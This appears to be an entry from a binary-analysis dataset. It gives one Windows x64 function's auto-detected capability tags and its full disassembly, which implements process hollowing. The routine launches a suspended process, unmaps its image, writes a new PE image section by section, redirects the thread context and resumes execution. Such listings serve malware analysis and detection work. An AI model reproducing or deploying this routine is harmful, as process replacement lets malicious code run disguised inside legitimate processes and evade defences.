Function at 0x1401096e0
Capabilities:
Create process on windows
Create process suspended
Enumerate pe sections
Inspect section memory permissions
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x858
cmp qword [0x1403b7b98], 0
jne 0x14010973c
lea rcx, [0x1401541f8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.ZwUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403b7b98], rax
cmp qword [0x1403b7b98], 0
jne 0x14010973c
xor eax, eax
jmp 0x140109ef0
lea rax, [rsp + 0x110]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x380]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x870]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14010979e
xor eax, eax
jmp 0x140109ef0
mov rax, qword [rsp + 0xa8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
cmp dword [rax], 0x4550
je 0x1401097d1
xor eax, eax
jmp 0x140109ef0
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1401097e8
xor eax, eax
jmp 0x140109ef0
mov dword [rsp + 0x110], 0x68
mov dword [rsp + 0x14c], 1
movzx eax, word [rsp + 0x888]
mov word [rsp + 0x150], ax
lea rax, [rsp + 0x180]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x880]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0xc0]
movzx eax, byte [rax]
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0xb0]
movzx ecx, byte [rsp + 0x54]
mov byte [rax], cl
mov rax, qword [rsp + 0xc0]
inc rax
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xb0]
inc rax
mov qword [rsp + 0xb0], rax
cmp byte [rsp + 0x54], 0
jne 0x140109852
cmp qword [rsp + 0x878], 0
je 0x140109944
lea rax, [rsp + 0x180]
mov qword [rsp + 0x90], rax
dec qword [rsp + 0x90]
inc qword [rsp + 0x90]
mov rax, qword [rsp + 0x90]
cmp byte [rax], 0
jne 0x1401098c4
mov rax, qword [rsp + 0x90]
lea rcx, [0x1401541dc]
mov rdi, rax
mov rsi, rcx
mov ecx, 2
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x180]
mov qword [rsp + 0x98], rax
dec qword [rsp + 0x98]
inc qword [rsp + 0x98]
mov rax, qword [rsp + 0x98]
cmp byte [rax], 0
jne 0x14010990d
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x878]
xor edx, edx
movzx edi, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x140109934
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x180]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14010999e
xor eax, eax
jmp 0x140109ef0
mov dword [rsp + 0x3b0], 0x10000b
lea rdx, [rsp + 0x380]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1401099f0
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140109ef0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xa0], 0
mov rax, qword [rsp + 0x408]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xc8]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp qword [rsp + 0xc8], 0
jne 0x140109a71
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140109ef0
lea rdx, [rsp + 0xc8]
mov rcx, qword [rsp + 0x78]
call qword [0x1403b7b98]
mov dword [rsp + 0xb8], eax
cmp dword [rsp + 0xb8], 0
jne 0x140109ac2
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140109ef0
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x68]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
jne 0x140109b2f
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140109ef0
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x54]
lea rcx, [rsp + 0xf8]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0xd8], 1
mov dword [rsp + 0xdc], 8
mov dword [rsp + 0xe0], 2
mov dword [rsp + 0xe4], 4
mov dword [rsp + 0xe8], reloc.WS2_32.dll_recv
mov dword [rsp + 0xec], 0x80
mov dword [rsp + 0xf0], 0x20
mov dword [rsp + 0xf4], 0x40
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x50], 0
jmp 0x140109be6
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x50], eax
jge 0x140109e31
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x24]
and eax, 0x80
test eax, eax
je 0x140109c16
jmp 0x140109bdc
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0], rax
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x10]
movsxd rcx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x60]
mov ecx, dword [rdx + rcx + 0x14]
mov rdx, qword [rsp + 0xa8]
add rdx, rcx
mov rcx, rdx
lea rdx, [rsp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9d, eax
mov r8, rcx
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x70], 0
mov dword [rsp + 0xbc], 0
mov dword [rsp + 0x5c], 0
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x140109cd3
mov byte [rsp + 0x55], 1
jmp 0x140109cd8
mov byte [rsp + 0x55], 0
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x58], al
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x140109d03
mov byte [rsp + 0x56], 1
jmp 0x140109d08
mov byte [rsp + 0x56], 0
movzx eax, byte [rsp + 0x56]
mov byte [rsp + 0x59], al
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x24]
and eax, 0x80000000
test eax, eax
je 0x140109d33
mov byte [rsp + 0x57], 1
jmp 0x140109d38
mov byte [rsp + 0x57], 0
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x5a], al
movzx eax, byte [rsp + 0x58]
imul rax, rax, 0x10
lea rax, [rsp + rax + 0xd8]
movzx ecx, byte [rsp + 0x59]
lea rax, [rax + rcx*8]
movzx ecx, byte [rsp + 0x5a]
mov eax, dword [rax + rcx*4]
mov dword [rsp + 0x70], eax
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x24]
and eax, 0x4000000
test eax, eax
je 0x140109d8e
mov eax, dword [rsp + 0x70]
bts eax, 9
mov dword [rsp + 0x70], eax
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x10]
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0
jne 0x140109df9
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x24]
and eax, 0x40
test eax, eax
je 0x140109dd2
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x5c], eax
jmp 0x140109df9
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x24]
and eax, 0x80
test eax, eax
je 0x140109df9
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x24]
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0
je 0x140109e2c
mov eax, dword [rsp + 0x5c]
lea rcx, [rsp + 0xbc]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rsp + 0x70]
mov r8d, eax
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x140109bdc
mov rax, qword [rsp + 0x408]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xa0]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x400], rax
lea rdx, [rsp + 0x380]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp qword [rsp + 0x890], 0
je 0x140109ed2
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdx, qword [rsp + 0x890]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x858
pop rdi
pop rsi
ret